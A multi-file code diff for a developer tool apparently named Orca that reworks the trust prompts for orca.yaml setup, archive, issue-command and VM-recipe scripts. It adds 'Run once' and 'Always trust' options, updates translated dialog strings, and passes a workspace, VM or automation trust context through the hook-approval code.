'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs before provisioning a VM.'
)
}
}
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace is created. Only run if you trust <repo/>."
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace is removed. Only run if you trust <repo/>."
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace launches with a linked issue. Only run if you trust <repo/>."
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunBody',
"This repository's <code>orca.yaml</code> runs on your machine before provisioning a VM. Only run if you trust <repo/>."
)
}
}
export function getScriptHeading(
kind: ScriptKind,
previouslyApproved: boolean,
t: Translate = translate
): string {
switch (kind) {
case 'setup':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newSetupScript', 'New setup script')
: t('auto.components.sidebar.OrcaYamlTrustDialog.setupScript', 'Setup script')
case 'archive':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newArchiveScript', 'New archive script')
: t('auto.components.sidebar.OrcaYamlTrustDialog.archiveScript', 'Archive script')
case 'issueCommand':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newIssueCommand', 'New issue command')
: t('auto.components.sidebar.OrcaYamlTrustDialog.issueCommand', 'Issue command')
case 'vmRecipe':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newVmRecipe', 'New VM recipe')
: t('auto.components.sidebar.OrcaYamlTrustDialog.vmRecipe', 'VM recipe')
}
}
+1 -3
View File
@@ -6178,8 +6178,7 @@
"issueCommand": "Issue-Befehl",
"newVmRecipe": "Neues VM-Rezept",
"vmRecipe": "VM-Rezept",
"thisRepository": "dieses Repository",
"alwaysTrustRepo": "<code>orca.yaml</code> in <repo/> immer vertrauen"
"thisRepository": "dieses Repository"
},
"PendingWorktreeRow": {
"af21e953d1": "Worktree-Erstellung abbrechen",
@@ -23253,7 +23252,6 @@
"setupTrust": {
"reviewTitle": "Neue Einrichtungsbefehle für diese Automatisierung genehmigen?",
"reviewBody": "Eine Ausführung hat die Einrichtung übersprungen, weil sich die Einrichtungsbefehle in der <code>orca.yaml</code> ihres Branches geändert haben. Nach der Genehmigung verwenden spätere Ausführungen diese Befehle. Genehmige nur, wenn du <repo/> vertraust.",
"approve": "Genehmigen",
"approved": "Einrichtung genehmigt. Spätere Ausführungen dieser Automatisierung führen sie aus.",
"skippedSinceApproved": "Die Einrichtung wurde bei dieser Ausführung nicht ausgeführt, weil sich die orca.yaml-Einrichtungsbefehle ihres Branches geändert haben. Sie wurden inzwischen genehmigt, daher führen spätere Ausführungen sie aus.",
"skippedReview": "Die Einrichtung wurde nicht ausgeführt: Der Branch dieser Ausführung enthält andere orca.yaml-Einrichtungsbefehle als die für diese Automatisierung genehmigten. Prüfe sie, damit spätere Ausführungen die Einrichtung ausführen.",
+5 -4
View File
@@ -6946,8 +6946,7 @@
"issueCommand": "Issue command",
"newVmRecipe": "New VM recipe",
"vmRecipe": "VM recipe",
"thisRepository": "this repository",
"alwaysTrustRepo": "Always trust <code>orca.yaml</code> in <repo/>"
"thisRepository": "this repository"
},
"PendingWorktreeRow": {
"af21e953d1": "Cancel worktree creation",
@@ -24139,7 +24138,10 @@
"reviewAction": "Review setup",
"branchDiffersTitle": "This workspace's branch has different setup commands",
"branchDiffersBody": "The workspace was created, but its setup didn't run: its branch's <code>orca.yaml</code> differs from what you approved. Run these for this workspace only if you trust <repo/>.",
"branchSetupScript": "Branch's setup script"
"branchSetupScript": "Branch's setup script",
"runOnce": "Run once",
"alwaysTrust": "Always trust",
"alwaysTrustScope": "Always trust runs future <code>orca.yaml</code> changes in <repo/> without asking."
},
"nestedRemoval": {
"refreshFailed": "Could not refresh the workspace list",
@@ -25519,7 +25521,6 @@
"setupTrust": {
"reviewTitle": "Approve the new setup commands for this automation?",
"reviewBody": "A run skipped setup because its branch's <code>orca.yaml</code> setup commands changed. Approving lets later runs use these commands. Only approve if you trust <repo/>.",
"approve": "Approve",
"approved": "Setup approved. Later runs of this automation will run it.",
"skippedSinceApproved": "Setup didn't run for this run because its branch's orca.yaml setup commands changed. They've since been approved, so later runs run them.",
"skippedReview": "Setup didn't run: this run's branch has different orca.yaml setup commands than the ones approved for this automation. Review them to run setup in later runs.",
+1 -3
View File
@@ -5740,8 +5740,7 @@
"issueCommand": "Comando de issue",
"newVmRecipe": "Nueva receta de VM",
"vmRecipe": "Receta de VM",
"thisRepository": "este repositorio",
"alwaysTrustRepo": "Confiar siempre en <code>orca.yaml</code> de <repo/>"
"thisRepository": "este repositorio"
},
"PendingWorktreeRow": {
"af21e953d1": "Cancelar creación del worktree",
@@ -23722,7 +23721,6 @@
"setupTrust": {
"reviewTitle": "¿Aprobar los nuevos comandos de configuración de esta automatización?",
"reviewBody": "Una ejecución omitió la configuración porque cambiaron los comandos de configuración de <code>orca.yaml</code> de su rama. Si los apruebas, las ejecuciones posteriores usarán estos comandos. Apruébalos solo si confías en <repo/>.",
"approve": "Aprobar",
"approved": "Configuración aprobada. Las ejecuciones posteriores de esta automatización la ejecutarán.",
"skippedSinceApproved": "La configuración no se ejecutó en esta ejecución porque cambiaron los comandos de configuración de orca.yaml de su rama. Ya se aprobaron, así que las ejecuciones posteriores los ejecutarán.",
"skippedReview": "No se ejecutó la configuración: la rama de esta ejecución contiene comandos de configuración de orca.yaml diferentes de los aprobados para esta automatización. Revísalos para que las ejecuciones posteriores ejecuten la configuración.",
+1 -3
View File
@@ -6026,8 +6026,7 @@
"issueCommand": "Commande d'issue",
"newVmRecipe": "Nouvelle recette de VM",
"vmRecipe": "Recette de VM",
"thisRepository": "ce dépôt",
"alwaysTrustRepo": "Toujours faire confiance à <code>orca.yaml</code> dans <repo/>"
"thisRepository": "ce dépôt"
},
"PendingWorktreeRow": {
"af21e953d1": "Annuler la création du worktree",
@@ -23745,7 +23744,6 @@
"setupTrust": {
"reviewTitle": "Approuver les nouvelles commandes de configuration de cette automatisation ?",
"reviewBody": "Une exécution a ignoré la configuration, car les commandes de configuration du <code>orca.yaml</code> de sa branche ont changé. Si vous les approuvez, les exécutions suivantes les utiliseront. N’approuvez que si vous faites confiance à <repo/>.",
"approve": "Approuver",
"approved": "Configuration approuvée. Les exécutions suivantes de cette automatisation l’exécuteront.",
"skippedSinceApproved": "La configuration n’a pas été exécutée pour cette exécution, car les commandes de configuration orca.yaml de sa branche ont changé. Elles ont depuis été approuvées : les exécutions suivantes les exécuteront.",
"skippedReview": "La configuration n’a pas été exécutée : la branche de cette exécution contient des commandes de configuration orca.yaml différentes de celles approuvées pour cette automatisation. Vérifiez-les pour que les exécutions suivantes exécutent la configuration.",
+1 -3
View File
@@ -6081,8 +6081,7 @@
"issueCommand": "Issue コマンド",
"newVmRecipe": "新しい VM レシピ",
"vmRecipe": "VM レシピ",
"thisRepository": "このリポジトリ",
"alwaysTrustRepo": "<repo/> の <code>orca.yaml</code> を常に信頼する"
"thisRepository": "このリポジトリ"
},
"PendingWorktreeRow": {
"af21e953d1": "ワークツリーの作成をキャンセルする",
@@ -24616,7 +24615,6 @@
"setupTrust": {
"reviewTitle": "このオートメーションの新しいセットアップコマンドを承認しますか?",
"reviewBody": "ブランチの <code>orca.yaml</code> のセットアップコマンドが変更されたため、実行でセットアップがスキップされました。承認すると、以降の実行でこれらのコマンドが使われます。<repo/> を信頼できる場合のみ承認してください。",
"approve": "承認",
"approved": "セットアップを承認しました。このオートメーションの以降の実行で実行されます。",
"skippedSinceApproved": "ブランチの orca.yaml のセットアップコマンドが変更されたため、この実行ではセットアップが実行されませんでした。その後承認されたため、以降の実行では実行されます。",
"skippedReview": "セットアップは実行されませんでした。この実行のブランチにある orca.yaml のセットアップコマンドが、このオートメーションで承認済みのものと異なります。以降の実行でセットアップを実行するには、内容を確認してください。",
+1 -3
View File
@@ -5504,8 +5504,7 @@
"issueCommand": "이슈 명령",
"newVmRecipe": "새 VM 레시피",
"vmRecipe": "VM 레시피",
"thisRepository": "이 리포지토리",
"alwaysTrustRepo": "<repo/>의 <code>orca.yaml</code>을 항상 신뢰"
"thisRepository": "이 리포지토리"
},
"PendingWorktreeRow": {
"af21e953d1": "워크트리 만들기 취소",
@@ -23036,7 +23035,6 @@
"setupTrust": {
"reviewTitle": "이 자동화의 새 설정 명령을 승인할까요?",
"reviewBody": "브랜치의 <code>orca.yaml</code> 설정 명령이 변경되어 실행에서 설정을 건너뛰었습니다. 승인하면 이후 실행에서 이 명령을 사용합니다. <repo/>을(를) 신뢰하는 경우에만 승인하세요.",
"approve": "승인",
"approved": "설정을 승인했습니다. 이 자동화의 이후 실행에서 실행됩니다.",
"skippedSinceApproved": "브랜치의 orca.yaml 설정 명령이 변경되어 이 실행에서는 설정이 실행되지 않았습니다. 이후 승인되었으므로 이후 실행에서 실행됩니다.",
"skippedReview": "설정이 실행되지 않았습니다. 이 실행 브랜치의 orca.yaml 설정 명령이 이 자동화에 승인된 명령과 다릅니다. 이후 실행에서 설정을 실행하려면 검토하세요.",
+1 -3
View File
@@ -12380,8 +12380,7 @@
"issueCommand": "Comando de issue",
"newVmRecipe": "Nova receita de VM",
"vmRecipe": "Receita de VM",
"thisRepository": "este repositório",
"alwaysTrustRepo": "Sempre confiar em <code>orca.yaml</code> de <repo/>"
"thisRepository": "este repositório"
},
"ProjectGroupDeleteDialog": {
"ca65b78f78": "Cancelar",
@@ -24290,7 +24289,6 @@
"setupTrust": {
"reviewTitle": "Aprovar os novos comandos de configuração desta automação?",
"reviewBody": "Uma execução pulou a configuração porque os comandos de configuração no <code>orca.yaml</code> da branch mudaram. Ao aprovar, as próximas execuções usarão esses comandos. Aprove apenas se você confia em <repo/>.",
"approve": "Aprovar",
"approved": "Configuração aprovada. As próximas execuções desta automação vão executá-la.",
"skippedSinceApproved": "A configuração não foi executada nesta execução porque os comandos de configuração no orca.yaml da branch mudaram. Eles já foram aprovados, então as próximas execuções vão executá-los.",
"skippedReview": "A configuração não foi executada: a branch desta execução tem comandos de configuração no orca.yaml diferentes dos aprovados para esta automação. Revise-os para que as próximas execuções executem a configuração.",
+1 -3
View File
@@ -6447,8 +6447,7 @@
"issueCommand": "Команда задачи",
"newVmRecipe": "Новый рецепт ВМ",
"vmRecipe": "Рецепт ВМ",
"thisRepository": "этот репозиторий",
"alwaysTrustRepo": "Всегда доверять <code>orca.yaml</code> в <repo/>"
"thisRepository": "этот репозиторий"
},
"PendingWorktreeRow": {
"af21e953d1": "Отмена создания рабочего дерева",
@@ -23990,7 +23989,6 @@
"setupTrust": {
"reviewTitle": "Одобрить новые команды настройки для этой автоматизации?",
"reviewBody": "Запуск пропустил настройку, потому что команды настройки в <code>orca.yaml</code> его ветки изменились. После одобрения следующие запуски будут использовать эти команды. Одобряйте, только если доверяете <repo/>.",
"approve": "Одобрить",
"approved": "Настройка одобрена. Следующие запуски этой автоматизации будут её выполнять.",
"skippedSinceApproved": "Настройка не выполнялась в этом запуске, потому что команды настройки в orca.yaml его ветки изменились. С тех пор они одобрены, поэтому следующие запуски их выполнят.",
"skippedReview": "Настройка не запустилась: в ветке этого запуска команды настройки в orca.yaml отличаются от одобренных для этой автоматизации. Проверьте их, чтобы следующие запуски выполняли настройку.",
+1 -3
View File
@@ -6283,8 +6283,7 @@
"issueCommand": "Sorun komutu",
"newVmRecipe": "Yeni VM tarifi",
"vmRecipe": "VM tarifi",
"thisRepository": "bu repository",
"alwaysTrustRepo": "<repo/> içindeki <code>orca.yaml</code> dosyasına her zaman güven"
"thisRepository": "bu repository"
},
"PendingWorktreeRow": {
"af21e953d1": "Worktree oluşturmayı iptal et",
@@ -23393,7 +23392,6 @@
"setupTrust": {
"reviewTitle": "Bu otomasyonun yeni kurulum komutları onaylansın mı?",
"reviewBody": "Dalının <code>orca.yaml</code> kurulum komutları değiştiği için bir çalıştırma kurulumu atladı. Onaylarsanız sonraki çalıştırmalar bu komutları kullanır. Yalnızca <repo/> deposuna güveniyorsanız onaylayın.",
"approve": "Onayla",
"approved": "Kurulum onaylandı. Bu otomasyonun sonraki çalıştırmaları onu çalıştıracak.",
"skippedSinceApproved": "Dalının orca.yaml kurulum komutları değiştiği için bu çalıştırmada kurulum çalışmadı. Komutlar o zamandan beri onaylandı; sonraki çalıştırmalar onları çalıştıracak.",
"skippedReview": "Kurulum çalışmadı: bu çalıştırmanın dalındaki orca.yaml kurulum komutları bu otomasyon için onaylananlardan farklı. Sonraki çalıştırmalarda kurulumun çalışması için onları inceleyin.",
+1 -3
View File
@@ -6023,8 +6023,7 @@
"issueCommand": "議題命令",
"newVmRecipe": "新的 VM 配方",
"vmRecipe": "VM 配方",
"thisRepository": "此存放庫",
"alwaysTrustRepo": "一律信任 <repo/> 中的 <code>orca.yaml</code>"
"thisRepository": "此存放庫"
},
"PendingWorktreeRow": {
"af21e953d1": "取消工作樹建立",
@@ -22919,7 +22918,6 @@
"setupTrust": {
"reviewTitle": "要核准此自動化的新設定命令嗎?",
"reviewBody": "由於分支的 <code>orca.yaml</code> 設定命令已變更,某次執行略過了設定。核准後,之後的執行將使用這些命令。僅在你信任 <repo/> 時核准。",
"approve": "核准",
"approved": "已核准設定。此自動化之後的執行將執行它。",
"skippedSinceApproved": "由於分支的 orca.yaml 設定命令已變更,此次執行未執行設定。這些命令此後已獲核准,之後的執行將執行它們。",
"skippedReview": "設定未執行:此次執行分支中的 orca.yaml 設定命令與此自動化已核准的命令不同。請審查它們,以便之後的執行執行設定。",
+1 -3
View File
@@ -6114,8 +6114,7 @@
"issueCommand": "议题命令",
"newVmRecipe": "新的 VM 配方",
"vmRecipe": "VM 配方",
"thisRepository": "此仓库",
"alwaysTrustRepo": "始终信任 <repo/> 中的 <code>orca.yaml</code>"
"thisRepository": "此仓库"
},
"PendingWorktreeRow": {
"af21e953d1": "取消工作树创建",
@@ -25006,7 +25005,6 @@
"setupTrust": {
"reviewTitle": "要批准此自动化的新设置命令吗?",
"reviewBody": "由于分支的 <code>orca.yaml</code> 设置命令已更改,某次运行跳过了设置。批准后,之后的运行将使用这些命令。仅在你信任 <repo/> 时批准。",
"approve": "批准",
"approved": "已批准设置。此自动化之后的运行将执行它。",
"skippedSinceApproved": "由于分支的 orca.yaml 设置命令已更改,此次运行未执行设置。这些命令此后已获批准,之后的运行将执行它们。",
"skippedReview": "设置未运行:此次运行分支中的 orca.yaml 设置命令与此自动化已批准的命令不同。请审查它们,以便之后的运行执行设置。",
@@ -22,7 +22,8 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
ownerHostId: ExecutionHostId | undefined,
isCancelled: () => boolean,
signal?: AbortSignal,
createSource?: SetupHooksCreateSource
createSource?: SetupHooksCreateSource,
context: 'workspace' | 'vm' = 'workspace'
): Promise<
| ({ setupDecision: T | 'skip' | 'run'; trustDecision: 'run' | 'skip' } & ApprovedSetupHashes)
| 'cancelled'
@@ -36,7 +37,8 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
undefined,
isCancelled,
signal,
createSource
createSource,
context
),
isCancelled
)
@@ -22,6 +22,7 @@ export async function prepareWorktreeCreationHooks(
return request
}
const trustContext = request.ephemeralVmRecipe ? 'vm' : 'workspace'
const isCancelled = (): boolean => !useAppStore.getState().pendingWorktreeCreations[creationId]
const confirmHook = (kind: 'setup' | 'vmRecipe'): Promise<'run' | 'skip'> =>
ensureHooksConfirmed(
@@ -30,7 +31,10 @@ export async function prepareWorktreeCreationHooks(
kind,
preparation.executionHostId,
undefined,
isCancelled
isCancelled,
undefined,
undefined,
trustContext
)
const confirmed = await confirmWorkspaceSetupDecision(
useAppStore.getState,
@@ -39,7 +43,8 @@ export async function prepareWorktreeCreationHooks(
preparation.executionHostId,
isCancelled,
undefined,
setupHooksCreateSource(request)
setupHooksCreateSource(request),
trustContext
)
if (confirmed === 'cancelled') {
return null
@@ -52,7 +57,8 @@ export async function prepareWorktreeCreationHooks(
useAppStore.getState(),
request.repoId,
preparation.executionHostId,
isCancelled
isCancelled,
trustContext
)
if (isCancelled()) {
return null
@@ -111,7 +117,14 @@ export function setupHooksCreateSource(
/** Setup fields for the create call; the approved hash lets the host check the created branch. */
export function setupCreateArgs(
request: Pick<WorktreeCreationRequest, 'setupOnly' | keyof ApprovedSetupHashes>
): { setupOnly?: boolean } & ApprovedSetupHashes {
return { setupOnly: request.setupOnly, ...pickApprovedSetupHashes(request) }
request: Pick<
WorktreeCreationRequest,
'setupOnly' | 'ephemeralVmRecipe' | keyof ApprovedSetupHashes
>
): { setupOnly?: boolean; hookTrustContext?: 'vm' } & ApprovedSetupHashes {
return {
setupOnly: request.setupOnly,
...pickApprovedSetupHashes(request),
...(request.ephemeralVmRecipe ? { hookTrustContext: 'vm' as const } : {})
}
}
@@ -4,10 +4,6 @@ import type { AppState } from '@/store/types'
import type { OrcaHooks } from '../../../../shared/workspace-setup/orca-yaml-hook-types'
import { resolveHookCommandSourcePolicy } from '../../../../shared/workspace-setup/hooks/hook-command-source-policy'
import { getSetupTrustContent } from '../../../../shared/workspace-setup/hooks/orca-hook-setup-config'
import {
canUseRepoWideTrust,
isOrcaHookContentApproved
} from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries'
import { hashOrcaHookScript } from './orca-hook-trust'
import type { OrcaHookTrustKind } from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries'
import { getVmRecipeTrustContent } from './vm-recipe-trust-content'
@@ -19,7 +15,16 @@ import {
readRuntimeIssueCommand,
type IssueCommandReadResult
} from '@/runtime/repo-hooks/runtime-hooks-client'
import { MODAL_DISMISSED_KEY } from '@/store/slices/ui/modal-slot-dismissal'
import {
confirmScriptContent,
isDesktopHookRepoTrusted,
SKIP,
RUN_ANY,
type HookTrustApproval,
type HookTrustContext,
type SkippedSetupReview
} from './hook-script-confirmation'
export type { HookTrustApproval, SkippedSetupReview } from './hook-script-confirmation'
import {
getRepoExecutionHostId,
type ExecutionHostId
@@ -40,87 +45,13 @@ export function __resetTrustPromptChainForTests(): void {
trustPromptChain = Promise.resolve()
}
/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */
export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string }
const SKIP: HookTrustApproval = { decision: 'skip' }
const RUN_ANY: HookTrustApproval = { decision: 'run' }
async function confirmScriptContent(
state: AppState,
repoId: string,
scriptKind: OrcaHookTrustKind,
scriptContent: string,
hostId?: ExecutionHostId,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
signal?: AbortSignal,
skippedSetupReview?: SkippedSetupReview
): Promise<HookTrustApproval> {
if (isCancelled() || signal?.aborted) {
return SKIP
}
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
return RUN_ANY
}
const contentHash = await hashOrcaHookScript(scriptContent)
if (isCancelled() || signal?.aborted) {
return SKIP
}
const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash }
const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash
if (
!scriptContent ||
isOrcaHookContentApproved(state.trustedOrcaHooks, repoId, scriptKind, contentHash)
) {
return approved
}
const repo = findHookRepo(state, repoId, hostId)
const repoName = repo?.displayName ?? 'this repository'
const previouslyApproved = Boolean(existingHash)
const decision = await new Promise<'run' | 'skip'>((resolve) => {
let settled = false
const settle = (decision: 'run' | 'skip'): void => {
if (settled) {
return
}
settled = true
signal?.removeEventListener('abort', cancel)
resolve(decision)
}
const cancel = (): void => {
// Eviction settles first, so an abort can only close this prompt.
if (settled) {
return
}
settle('skip')
state.closeModal()
}
signal?.addEventListener('abort', cancel, { once: true })
state.openModal('confirm-orca-yaml-hooks', {
repoId,
repoName,
scriptKind,
scriptContent,
contentHash,
previouslyApproved,
...(skippedSetupReview ? { skippedSetupReview } : {}),
onResolve: settle,
// Why: eviction must fail closed without stranding the singleton trust queue.
[MODAL_DISMISSED_KEY]: () => settle('skip')
})
})
return decision === 'run' ? approved : SKIP
}
async function confirmIssueCommandReadResult(
state: AppState,
repoId: string,
hostId: ExecutionHostId,
result: IssueCommandReadResult,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
context: HookTrustContext = 'workspace'
): Promise<'run' | 'skip'> {
if (isCancelled()) {
return 'skip'
@@ -137,7 +68,10 @@ async function confirmIssueCommandReadResult(
'issueCommand',
getIssueCommandTrustContent(result),
hostId,
isCancelled
isCancelled,
undefined,
undefined,
context
)
return approval.decision
}
@@ -153,12 +87,20 @@ function confirmRuntimeIssueCommandRead(
repoId: string,
hostId: ExecutionHostId,
result: IssueCommandReadResult,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
context: HookTrustContext = 'workspace'
): Promise<ConfirmedRuntimeIssueCommand> {
return enqueueTrustPrompt(async () => ({
result,
template: getIssueCommandTrustContent(result),
trustDecision: await confirmIssueCommandReadResult(state, repoId, hostId, result, isCancelled)
trustDecision: await confirmIssueCommandReadResult(
state,
repoId,
hostId,
result,
isCancelled,
context
)
}))
}
@@ -166,7 +108,8 @@ export async function readAndConfirmRuntimeIssueCommand(
state: AppState,
repoId: string,
hostId: ExecutionHostId,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
context: HookTrustContext = 'workspace'
): Promise<ConfirmedRuntimeIssueCommand> {
let result: IssueCommandReadResult
try {
@@ -184,7 +127,7 @@ export async function readAndConfirmRuntimeIssueCommand(
source: 'none'
}
}
return confirmRuntimeIssueCommandRead(state, repoId, hostId, result, isCancelled)
return confirmRuntimeIssueCommandRead(state, repoId, hostId, result, isCancelled, context)
}
export async function ensureHooksConfirmed(
@@ -193,19 +136,17 @@ export async function ensureHooksConfirmed(
return (await ensureHooksApproved(...args)).decision
}
/** Which skipped setup the user is reviewing; picks the dialog copy. */
export type SkippedSetupReview = 'created-branch' | 'automation'
/**
* Re-prompt with setup content that a create or automation run skipped because it differs from
* what was approved. Approving adds it to the repo's approved setup history.
* what was approved. Always trust approves the repo; Run once leaves trust unchanged.
*/
export function confirmCreatedWorktreeSetupContent(
getState: () => AppState,
repoId: string,
scriptContent: string,
hostId?: ExecutionHostId,
review: SkippedSetupReview = 'created-branch'
review: SkippedSetupReview = 'created-branch',
context: HookTrustContext = review === 'automation' ? 'automation' : 'workspace'
): Promise<HookTrustApproval> {
return enqueueTrustPrompt(async () => {
const approval = await confirmScriptContent(
@@ -216,7 +157,8 @@ export function confirmCreatedWorktreeSetupContent(
hostId,
undefined,
undefined,
review
review,
context
)
// Repo-wide trust approves any content, but the host runs only content it can match.
return approval.decision === 'run' && approval.approvedContentHash === undefined
@@ -235,14 +177,15 @@ export async function ensureHooksApproved(
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
signal?: AbortSignal,
/** Setup for a create: read orca.yaml at the ref it checks out, not the project checkout. */
createSource?: SetupHooksCreateSource
createSource?: SetupHooksCreateSource,
context: HookTrustContext = 'workspace'
): Promise<HookTrustApproval> {
return enqueueTrustPrompt(async () => {
if (isCancelled() || signal?.aborted) {
return SKIP
}
const state = typeof stateOrGetter === 'function' ? stateOrGetter() : stateOrGetter
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
if (isDesktopHookRepoTrusted(state, repoId, context)) {
return RUN_ANY
}
@@ -311,7 +254,9 @@ export async function ensureHooksApproved(
scriptContent,
hostId,
isCancelled,
signal
signal,
undefined,
context
)
})
}
@@ -0,0 +1,125 @@
import type { AppState } from '@/store/types'
import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host'
import {
canUseRepoWideTrust,
approvedOrcaHookContentHashes,
isOrcaHookContentApproved,
type OrcaHookTrustKind
} from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries'
import { MODAL_DISMISSED_KEY } from '@/store/slices/ui/modal-slot-dismissal'
import { hashOrcaHookScript } from './orca-hook-trust'
import { findHookRepo } from './hook-owner-resolution'
export type HookTrustContext = 'workspace' | 'vm' | 'automation'
export type SkippedSetupReview = 'created-branch' | 'automation'
export function usesVersionedHookTrust(
state: AppState,
repoId: string,
context: HookTrustContext
): boolean {
return context === 'vm' || isRepoIdOnSeveralHosts(state, repoId)
}
function isRepoIdOnSeveralHosts(state: AppState, repoId: string): boolean {
return state.repos.filter((repo) => repo.id === repoId).length > 1
}
export function isDesktopHookRepoTrusted(
state: AppState,
repoId: string,
context: HookTrustContext
): boolean {
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
return true
}
return (
!usesVersionedHookTrust(state, repoId, context) &&
(['setup', 'archive', 'issueCommand', 'vmRecipe'] as const).some(
(kind) => approvedOrcaHookContentHashes(state.trustedOrcaHooks, repoId, kind).length > 0
)
)
}
const NEVER_CANCEL_TRUST_CHECK = (): boolean => false
/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */
export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string }
export const SKIP: HookTrustApproval = { decision: 'skip' }
export const RUN_ANY: HookTrustApproval = { decision: 'run' }
export async function confirmScriptContent(
state: AppState,
repoId: string,
scriptKind: OrcaHookTrustKind,
scriptContent: string,
hostId?: ExecutionHostId,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
signal?: AbortSignal,
skippedSetupReview?: SkippedSetupReview,
context: HookTrustContext = 'workspace'
): Promise<HookTrustApproval> {
if (isCancelled() || signal?.aborted) {
return SKIP
}
if (isDesktopHookRepoTrusted(state, repoId, context)) {
return RUN_ANY
}
const versionOnly = usesVersionedHookTrust(state, repoId, context)
const contentHash = await hashOrcaHookScript(scriptContent)
if (isCancelled() || signal?.aborted) {
return SKIP
}
const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash }
const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash
if (
!scriptContent ||
(versionOnly &&
isOrcaHookContentApproved(state.trustedOrcaHooks, repoId, scriptKind, contentHash))
) {
return approved
}
const repo = findHookRepo(state, repoId, hostId)
const repoName = repo?.displayName ?? 'this repository'
const previouslyApproved = versionOnly && Boolean(existingHash)
const decision = await new Promise<'run' | 'trust' | 'skip'>((resolve) => {
let settled = false
const settle = (decision: 'run' | 'trust' | 'skip'): void => {
if (settled) {
return
}
settled = true
signal?.removeEventListener('abort', cancel)
resolve(decision)
}
const cancel = (): void => {
// Eviction settles first, so an abort can only close this prompt.
if (settled) {
return
}
settle('skip')
state.closeModal()
}
signal?.addEventListener('abort', cancel, { once: true })
state.openModal('confirm-orca-yaml-hooks', {
repoId,
repoName,
scriptKind,
scriptContent,
contentHash,
previouslyApproved,
versionOnly,
repoWideTrust: !isRepoIdOnSeveralHosts(state, repoId),
automation: context === 'automation',
...(skippedSetupReview ? { skippedSetupReview } : {}),
onResolve: settle,
// Why: eviction must fail closed without stranding the singleton trust queue.
[MODAL_DISMISSED_KEY]: () => settle('skip')
})
})
return decision === 'trust' && !versionOnly ? RUN_ANY : decision !== 'skip' ? approved : SKIP
}
@@ -54,12 +54,10 @@ import {
type CreateAttemptOutcome
} from './worktree-create-parent-pick'
type RuntimeTarget = RuntimeClientTarget
async function runCreateAttempt(
request: WorktreeCreateRequest,
attempt: WorktreeCreateAttempt,
target: RuntimeTarget,
target: RuntimeClientTarget,
clientCreateSettings: ClientWorktreeCreateSettings = {}
): Promise<CreateAttemptOutcome> {
const provisionedRoot = request.options?.provisionedRoot
@@ -268,7 +266,14 @@ export function createCreateWorktree(
}
const { result } = outcome
showWorktreeCreateWarningToast(result.warning)
reviewSetupTrustMismatch(get, repoId, creationHostId, result, target)
reviewSetupTrustMismatch(
get,
repoId,
creationHostId,
result,
target,
options?.hookTrustContext
)
showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree, {
updateSettings: get().updateSettings,
executionHostId: creationHostId
@@ -27,14 +27,15 @@ export function reviewSetupTrustMismatch(
repoId: string,
hostId: ExecutionHostId | undefined,
result: Pick<CreateWorktreeResult, 'setupTrustMismatch' | 'worktree'>,
target: RuntimeClientTarget
target: RuntimeClientTarget,
context: 'workspace' | 'vm' = 'workspace'
): void {
const mismatch = result.setupTrustMismatch
if (!mismatch) {
return
}
reviewCreatedWorktreeSetup(
{ getState, repoId, hostId, worktreeId: result.worktree.id, target },
{ getState, repoId, hostId, worktreeId: result.worktree.id, target, context },
mismatch.scriptContent
)
}
@@ -45,6 +46,7 @@ type CreatedWorktreeSetupReview = {
hostId: ExecutionHostId | undefined
worktreeId: string
target: RuntimeClientTarget
context: 'workspace' | 'vm'
}
function reviewCreatedWorktreeSetup(
@@ -56,7 +58,9 @@ function reviewCreatedWorktreeSetup(
review.getState,
review.repoId,
scriptContent,
review.hostId
review.hostId,
'created-branch',
review.context
)
if (approval.decision !== 'run' || approval.approvedContentHash === undefined) {
showSetupSkippedToast(review, scriptContent)
@@ -34,6 +34,7 @@ export type CreateWorktreeCallOptions = {
}
legacyStartup?: () => WorktreeStartupLaunch | undefined
setupOnly?: boolean
hookTrustContext?: 'vm'
/** Hash of the confirmed setup content; see CreateWorktreeArgs. */
approvedSetupHash?: string
approvedSetupHashes?: string[]
@@ -516,7 +516,6 @@
"auto.components.sidebar.HostRemoveDialog.workspacesFailed",
